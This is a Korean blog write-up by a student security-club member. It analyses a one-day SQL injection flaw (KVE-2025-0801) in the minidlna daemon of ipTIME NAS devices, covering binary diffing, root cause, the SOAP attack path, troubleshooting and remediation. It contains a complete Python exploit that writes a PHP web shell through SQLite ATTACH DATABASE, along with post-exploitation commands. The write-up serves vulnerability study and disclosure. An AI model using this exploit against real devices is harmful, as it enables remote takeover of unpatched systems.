안녕하세요!
이번 중앙대학교 산업보안학과 과동아리
SECURIOUS OFFENSIVE Phase 2
팀의 달주노입니다.
1회차 원데이 클래스로
KVE-2025-0801를 분석해보록 하겠습니다.
취약점 분석은 처음이니
너그러운 마음으로 봐주시면 감사하겠습니다!!

1. 개요 ( Vulnerability Summary )
대상 기기: ipTIME NAS1dual, NAS2dual, NAS3dual, NAS4dual
대상 데몬: minidlna (Port 8200)
취약점 유형: SQL Injection을 통한 원격 코드 실행(RCE)
영향도: 공격자가 조작된 SOAP 요청을 전송하여 시스템 데이터베이스를 조작하고,
최종적으로 관리자 권한의 웹 루트 경로에
악성 스크립트를 생성하여 시스템 제어권을 탈취할 수 있음.
2. 취약점 원인 분석 ( Root Cause Analysis )
가장 먼저, 두 펌웨어
패치 버전과 취약 버전을 각각 다운로드
// 펌웨어는 ipTIME 다운로드 페이지
( https://iptime.com/iptime/?page_id=126 )에서
다운해서 분석할 수 있다.
//비교 분석 방식은 2가지가 있다!
본인은 먼저 bindiff로 하려 했으나
작동이 안되서 Ghidriff으로 비교 분석함.
(안된 이유는 IDA Pro의 버전이 9.x 라 안된듯 함)
https://www.zynamics.com/bindiff.html
zynamics.com - BinDiff
Screenshots Screenshot 1: Changed functions are displayed in an easy-to-understand symmetric layout Screenshot 2: Changes in instructions are shown in yellow, new instructions are shown in red
www.zynamics.com
https://github.com/clearbluejar/ghidriff
GitHub - clearbluejar/ghidriff: Python Command-Line Ghidra Binary Diffing Engine
Python Command-Line Ghidra Binary Diffing Engine. Contribute to clearbluejar/ghidriff development by creating an account on GitHub.
github.com
비교분석을 하기 전에
Ghidriff는 리눅스 실행 파일(ELF) 같은
'바이너리 단일 파일'을 비교하는 도구이기 때문에
binwalk를 사용해 두 .pkg 파일의 압축을
각각 풀어주고
취약한 버전(v1.5.14)과 패치된 버전(v1.5.22)의
타겟 바이너리(minidlna)가 위치한
경로를 결합해 Ghidriff(Ghidra) 로
비교 분석을 진행.
ghidriff _nas4dual_1.5.14.pkg.extracted/squashfs-root/sbin/minidlna _nas4dual_1.5.22.pkg.extracted/squashfs-root/sbin/minidlna
실행 후 생성된 파일 및 폴더 활용해
두 버전 간의
함수 변경점(Modified/Added/Deleted)을 추출하기 위해
minidlna-minidlna.ghidriff.md
( 마크다운 형식의 요약 보고서 )를 vscode로 분석.
분석 결과,
Strings Diff와 String References 테이블을 보면
특정 함수로부터 문자열이 다음과 같이 교체된 것을 알 수 있음.


// Ex) s_ObjectID => s_Invalid_ObjectID
s_PosSecond => s_Invalid_PosSecond, s_PosSecond_too_large
등등
FUN_0001db70가 취약함수임을 알았으니,
Ghidra로 디컴파일된 C 코드를 확인.


취약 버전 (v1.5.14): 클라이언트가 보낸 ObjectID 값을
sql_exec() 함수의 INSERT 쿼리문에 %s 포맷으로 검증 없이 그대로 삽입.
패치 버전 (v1.5.22): %s가 SQLite 전용 안전 포맷인
%q (따옴표 이스케이프 처리)로 변경.
// 해당 처리 이외에도 SQL Injection 취약점에 대한
방어막이 추가된 것을 확인할 수 있음!
< %q : 입력값 내부에 있는 싱글 쿼테이션(')을 자동으로 이스케이프('') 처리 >
따라서,
취약 함수에 대한 두 버전의 패치 전후를 분석해보면
취약점 유형 : SQL Injection
이유 : 사용자로부터 입력받은 iVar1(ObjectID)과 iVar2(PosSecond) 변수가
아무런 필터링이나 검증 과정 없이
%s 포맷 스트링을 통해
SQL 쿼리문에 직접 삽입되고 있음.
문제점: 만약 공격자가 ObjectID에 단순한 ID가 아니라
' OR 1=1 -- 같은 악의적인 SQL 구문을 넣는다면,
전체 쿼리의 구조를 변경하여
데이터베이스를 조작할 수 있는 문제점이 발생함.
으로 취약점 원인을 분석 할 수 있다!

3. Attack Vector 식별
취약점의 근본 원인(Root Cause)을 파악했으니,
이제는 이 취약 지점( FUN_0001db70 )를 어떻게 호출하고
악성 페이로드를 전달할 것인지
경로를 식별하고 찾아야 한다!
3.1. 운반 경로 ( Protocol & Routing )


디컴파일된 코드들을 보면, 함수가 정상적으로 실행된 후 클라이언트에게
<u:X_SetBookmarkResponse .. > 라는 태그가 포함된
XML 응답을 반환하는 것을 확인할 수 있다.
즉, FUN_0001db70 함수 자체가 minidlna 데몬 내에서
UPnP 프로토콜의 X_SetBookmark 액션을
처리하도록 라우팅하고 있으며,
공격을 하기 위해선
UPnP SOAP(XML) 규격에 맞춘 HTTP POST 요청을
보내야 한다는 최종적인 운반 경로를 알 수 있다.
// UPnP 규격서 : SOAP를 사용하며 HTTP의 POST 메서드를 통해 전송해야 한다
3.2. 진입점 ( Entry Point & Parameter )

FUN_0001e980 함수는 외부에서 들어온
네트워크 요청(HTTP/SOAP) 메모리 영역에서
"ObjectID"와 "PosSecond"라는 데이터를 뽑아냄.

사용자가 입력한 iVar1 값이 쿼리문의 '%s' 자리에
어떠한 필터링이나 치환 과정 없이
문자열 그대로(Raw String) 꽂힘.
즉, ObjectID 값으로 1'), 0); ATTACH DATABASE... 처럼
쿼리문을 닫아버리고 새로운 쿼리를 이어 붙이면
서버는 그걸 통째로 실행해 버릴 수 있다!
이 코드를 통해 공격 페이로드를 담을
정확한 매개체(Parameter) 및 진입점,
<ObjectID 파라미터>를 식별할 수 있다.
4. Proof of Concept ( PoC )
4.1. Exploit Scenario
지금까지 설명해온 취약점 분석을
통해 식별한 ObjectID 파라미터의
SQL Injection 취약점을 활용하여,
DB 조작을 넘어 시스템 명령어 실행(RCE)까지
도달하는 Exploit chain을 구성할 수 있다.
Attack Vector: minidlna 데몬(Port 8200)의 SOAP POST 요청 내 <ObjectID> 태그
Technique: SQLite ATTACH DATABASE 기법을 이용한 File Write
// SQLite 공격기법의 경우, 해당 블로그를 참조했습니다!
https://www.hahwul.com/blog/2017/web-hacking-sqlite-sql-injection-and/
[WEB HACKING] SQLite SQL Injection and Payload
최근 예전에 SSRF 올렸던 내용의 확장격인 나름 개인의 연구과제와 Blind XSS 테스팅 툴 만드는 것 때문에 짧은 글로 가끔 포스팅하는 것 같습니다. (시간이 없다는 핑계, 사실 놀거 다 놀고 있는 느
www.hahwul.com
Bypass : SOAP 요청이 XML 포맷이므로,
PHP 웹셸 코드 내의 < , > 문자가 XML 파싱 에러를 유발.
이를 우회하기 위해 페이로드를 Hex(16진수) 인코딩하여 쿼리에 삽입하여 해결!
// 자세한 내용은 4.4. Trouble Shooting에서 확인
4.2. Exploit Code
위 시나리오를 바탕으로 작성한 최종 Python PoC 스크립트
import requests
import binascii
# --- [1] 타겟 환경 설정 ---
TARGET_IP = "192.168.0.x" #테스트 환경에 맞춰 수정
DLNA_PORT = "8200"
WEB_PORT = "8080"
WEB_ROOT = "/var/www/html"
# --- [2] 웹셸 코드 Hex 인코딩 (WAF / XML 파서 우회) ---
php_code = '<?php system($_GET["cmd"]); ?>'
# 코드를 16진수 문자열로 변환하여 꺾쇠(<, >)로 인한 파싱 에러 방지
hex_code = binascii.hexlify(php_code.encode()).decode()
# --- [3] 최종 RCE 페이로드 ---
# SQLite Lock 충돌을 피하기 위해 파일명과 DB Alias를 고유하게 설정
WEBSHELL_NAME = "daljunho_pwn_final.php"
DB_ALIAS = "db_master"
DB_TABLE = "tbl_master"
# 1. 쿼리 닫기 -> 2. 새 DB 파일 생성 및 연결 -> 3. 테이블 생성 -> 4. Hex 인코딩된 쉘 코드 삽입 -> 5. 주석 처리
payload = f"1'), 0); ATTACH DATABASE '{WEB_ROOT}/{WEBSHELL_NAME}' AS {DB_ALIAS}; " \
f"CREATE TABLE {DB_ALIAS}.{DB_TABLE} (code text); " \
f"INSERT INTO {DB_ALIAS}.{DB_TABLE} (code) VALUES (X'{hex_code}'); --"
# [작성한 청소용 페이로드]
# 연결 한계치에 도달한 기존 Alias들을 강제로 연결 해제
# payload = f"1'), 0); DETACH DATABASE db_master; --"
# --- [4] SOAP 요청 구성 ---
soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:X_SetBookmark xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
<ObjectID>{payload}</ObjectID>
<PosSecond>0</PosSecond>
</u:X_SetBookmark>
</s:Body>
</s:Envelope>"""
headers = {
"Content-Type": 'text/xml; charset="utf-8"',
"SOAPACTION": '"urn:schemas-upnp-org:service:ContentDirectory:1#X_SetBookmark"'
}
url = f"http://{TARGET_IP}:{DLNA_PORT}/ctl/ContentDir"
print(f"[*] 타겟 {url} 에 익스플로잇 전송 중...")
# --- [5] 공격 수행 및 결과 확인 ---
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=5)
print(f"[*] 응답 상태 코드: {response.status_code}")
if response.status_code == 200:
print("\n[+] 공격 완료! RCE 확인을 위해 브라우저에서 아래 주소로 접속해 보세요.")
print(f"-> http://{TARGET_IP}:{WEB_PORT}/{WEBSHELL_NAME}?cmd=id")
else:
print("[-] 요청이 거부되었습니다. 대상 서버의 상태(데몬 크래시 등)를 확인하세요.")
except Exception as e:
print(f"[-] 요청 실패 (Timeout 또는 연결 거부): {e}")
대상 서버의 8200 포트로 조작된 SOAP 요청을 전송하여
웹 루트(/var/www/html) 디렉토리에
시스템 명령어를 실행할 수 있는 웹셸을 생성!
4.3. Reproduce Steps & Result
Step 1. 웹쉘 업로드 및 권한 획득 확인
위 PoC 스크립트를 실행한 후,
웹 브라우저를 통해 생성된 웹셸 경로로 접속하여 id 명령어를 실행.

Step 2. Post-Exploitation ( 내부 정찰 및 Flag 획득 )
획득한 쉘 권한을 바탕으로 시스템 내부 정찰!
숨겨진 데이터를 찾기 위해 find 명령어를 활용하여
전체 시스템에서 이름에 'flag'가 포함된 파일을 탐색.
?cmd=find / -type f -name "*flag*" 2>/dev/null

cat 명령어로 출력하여 최종 목표인 Flag를 탈취 성공!

4.4. Trouble Shooting

🚨Issue 1.
// SQLite에서 ATTACH DATABASE를 사용하면
현재 열려있는 데이터베이스 연결에
새로운 DB 파일을 붙이면서 별칭(Alias)을 할당
... ATTACH DATABASE '...' AS d; CREATE TABLE d.pwn ...
기존 내가 시도했던 공격 페이로드에 사용된 ATTACH DATABASE 구문을 보면
'd'라는 별칭으로 할당하고 있음!
그러나,
누군가 이미 d라는 별칭(Alias)으로
DB를 마운트한 상태라면,
SQLite는 에러를 발생시키고 쿼리를 중단한다!
또, 운이 좋게 DB 만들어졌거나
같은 이름의 파일에 내용을 덧붙일 때,
파일 안에 이미 동일한 이름의 테이블이 존재하면
이것도 충돌이 일어나
쿼리가 죽어버린다는 것을 알게 되었다!
즉, SQLite가 에러를 뱉고 죽었음에도
앞단의 HTTP/SOAP 요청은 정상 처리되었기에
나에게는 200 OK로 위장되어 보였던 것이었다..

따라서, DB 충돌을 우회하기 위해
다른 Alias와 테이블명을 사용하도록 페이로드를 수정해서 해결!
🚨Issue 2.

초기 공격 시, ffuf를 통해 발견한 /uploads/ 디렉터리를
타겟으로 웹셸 생성을 시도..
초기 /uploads/ 경로 타격 시 발생한 404 에러를 디렉터리 실행 권한 문제로 오판
이를 해결하고자 계속해서 삽질;;
그러나 페이로드의 논리적 결함(DB Alias 충돌 / 🚨Issuse 1 )을 수정한 후
다시 /uploads/ 경로를 타격한 결과, 웹셸이 정상적으로 작동함을 확인!
즉, 404 에러의 진짜 원인은 권한 문제가 아니라
Blind SQLi 환경에서 쿼리가 Silent Fail을 일으켜
파일이 생성조차 되지 않았기 때문..
🚨Issue 3.

초기 익스플로잇(1차 시도)을 수행했을 때
ATTACH DATABASE를 통한 데이터베이스 파일 생성과
CREATE TABLE 구문까지는 정상적으로 실행되었으나,
가장 중요한 웹셸 코드 삽입(INSERT)이 동작하지 않는 문제가 발생.
PHP 태그에는 필연적으로 꺾쇠(<, >)가 포함되나
minidlna의 XML 파서는 이 꺾쇠를 문자열 데이터가 아닌
새로운 XML 태그의 시작과 끝으로 오인하였고
결국 구문 분석 에러(Parsing Error)가 발생하여
그 위치에 있던 INSERT 쿼리가 통째로 증발.
<?php system($_GET["cmd"]); ?>
ㄴ> 기존 PHP 코드
Python 공격 스크립트 내에 binascii.hexlify() 함수를 추가하여,
페이로드 전송 전 웹셸 코드를
자동으로 16진수 인코딩(Hex Encoding) 값으로
변환하도록 로직을 수정하여
XML 파서가 꺾쇠(<, >)를 인식하지 못하게 만들었다!
🚨Issue 4.
기존 poc 코드로 실행하여도
웹셸 파일이 생성되지 않고 404 Not Found가 뜨는
기이한 문제가 발생.
( Issue 1. Alias 문제를 해결해도 동일!)
원인을 분석해 본 결과,
타겟 데몬인 minidlna와 SQLite 엔진의
상태 유지(Stateful) 특성 때문이었습니다.
SQLite는 하나의 데이터베이스 연결에서
ATTACH DATABASE로 동시에 붙일 수 있는
보조 데이터베이스의 개수에 제한(기본값 10개 등)을
두는 SQLITE_MAX_ATTACHED 설정이 있다는 것을 알았다!

// https://sqlite.org/limits.html 에서 확인 할 수 있음.
Implementation Limits For SQLite
Maximum Database Size Every database consists of one or more "pages". Within a single database, every page is the same size, but different databases can have page sizes that are powers of two between 512 and 65536, inclusive. The maximum size of a database
sqlite.org
지속해서 poc를 실행하며 attact를 시도하니
결국 연결 한계치(Limit)를 꽉 채워버렸고
엔진 내부에서 더 이상
새로운 파일을 Attach(생성)하지 못하고
쿼리를 드랍시켜 버린 것!
이를 해결하고자,
SQLite의 DETACH DATABASE 명령어를
연속적으로 사용하여,
이전에 연결했던 찌꺼기 Alias들을 모두 끊어버리는
청소용 페이로드(Cleanup Payload)를 제작.

5. Remediation ( 보안 패치 방안 및 의견 )
본 취약점은 v1.5.22 버전에서 입력값 검증 로직이 추가되며 패치되었습니다.
패치 내용:
1. 기존 취약한 버전(v.1.5.22 이전)에서는
사용자 입력값인 ObjectID를 %s 포맷 스트링으로 받아
SQL 쿼리에 그대로 직결됨.
이를 SQLite 내부 보안 함수인 %q 포맷(따옴표 이스케이프 처리)을
사용하여 악의적인 쿼리 분리를 원천적으로 차단.
// 즉, 아무리 공격 코드를 넣어도 더 이상 SQL 문법으로
작동하지 않고 얌전히 문자열로만 묶이게 됨!
2. ObjectID 값을 검증하기 위해
do-while 루프 속 문자열 끝(uVar4 == 0)에 도달할 때까지
글자를 하나하나 쪼개어 검사하며, 숫자나 $가 아닌 문자(예: ', ;, 공백)가 발견되면
루프를 빠져나와 즉시 "Invalid ObjectID"를 띄우도록 패치.

3. 문자열 기반의 취약점이 완전히 소멸하기 위해
데이터 타입 자체를 물리적으로 바꿔버리는 strtoll 함수 추가.
악의적인 문자열 데이터는 얄짤없이 '숫자'로 바껴버리고
0x1fa400(약 200만 초)이라는 상한선까지 정해
정수 오버플로우(Integer Overflow) 공격까지 염두하여 패치.


의견 및 제의:
1. Prepared Statemnet 적용
시큐어 코딩 관점에서, 문자열 치환이나
이스케이프 함수에 의존하기보다는
Prepared Statement(바인딩 변수)를 사용하여
데이터와 쿼리 구조를 완전히 분리하는 것이
SQL Injection을 예방하는 가장 근본적이고
안전한 방법이라고 생각한다.
2. 최소 권한의 원칙 (Principle of Least Privilege) 적용
minidlna 데몬이 시스템 최상위 권한인
root로 실행되고 있었다는 점에서
ATTACH DATABASE를 이용해
웹 루트에 파일을 생성할 수 있었다.
따라서, 해당 프로세스를 minidlna
전용 유저 같은 제한된 계정으로 구동하도록
서비스 설정을 변경하거나 권한 강등(Setuid 제한 등)했다면,
설령 SQLi가 터졌어도 웹 루트 디렉터리에
파일을 쓰는 RCE 단계까지는 가지 못했을 것이라 생각한다.
6. 마치며
이번 익스플로잇 및 취약점 분석에서 가장 뼈아팠던 착각은
"404 Not Found 에러 = 디렉터리 권한 문제"라고
섣불리 단정 지었던 것이다...!

Blind SQLi 환경에서는
데이터베이스 엔진(SQLite)이
쿼리 에러(Alias 충돌, Table 중복)를 뿜고 죽어버려도
앞단의 웹 서버는 200 OK를 던지며
나를 힘들게 할 수 있다는 걸 몸소 느끼고 깨달았다..
그래도, 포기하지 않고
어떤 부분이 충돌되고 이를 극복하고자
노력했다는 것이 매우 뿌듯했고!
성공 직후, 단순히 기뻐하는 것에 그치지 않고
기존에 실패했던 /uploads/ 경로에 성공한
페이로드를 다시 대입해 본 과정이 이번 분석의 백미였다..
또 하나, 에러 메시지가 출력되지 않는 환경에서는
'침묵' 또한 하나의 메시지라는 것을 배운 것 같다.
아무런 반응이 없을 때, 그것이 경로의 문제인지,
DB의 충돌인지, 혹은 문법의 오류인지를
하나씩 소거법으로 지워나갔던 경험 자체가 정말
앞으로도 취약점 분석을 할 때 좋은 디버깅 자산?이 될 것 같다..!!
중요한 것은 꺽이지 않는 마음입니다!!
이번 삽질은 정말로 힘들었습니다ㅠㅠ
렌고쿠 정신으로 끝까지 마음을 불태웠습니다..

긴 글 읽어주셔서 감사합니다!

'🔐취약점 분석' 카테고리의 다른 글
| [1-Day 분석] ipTIME NAS dual OS 취약점(KVE-2025-0935) 분석 (0) | 2026.06.01 |
|---|---|
| [1-Day 분석] ipTIME NAS dual OS 취약점(KVE-2025-0912) 분석 (0) | 2026.05.11 |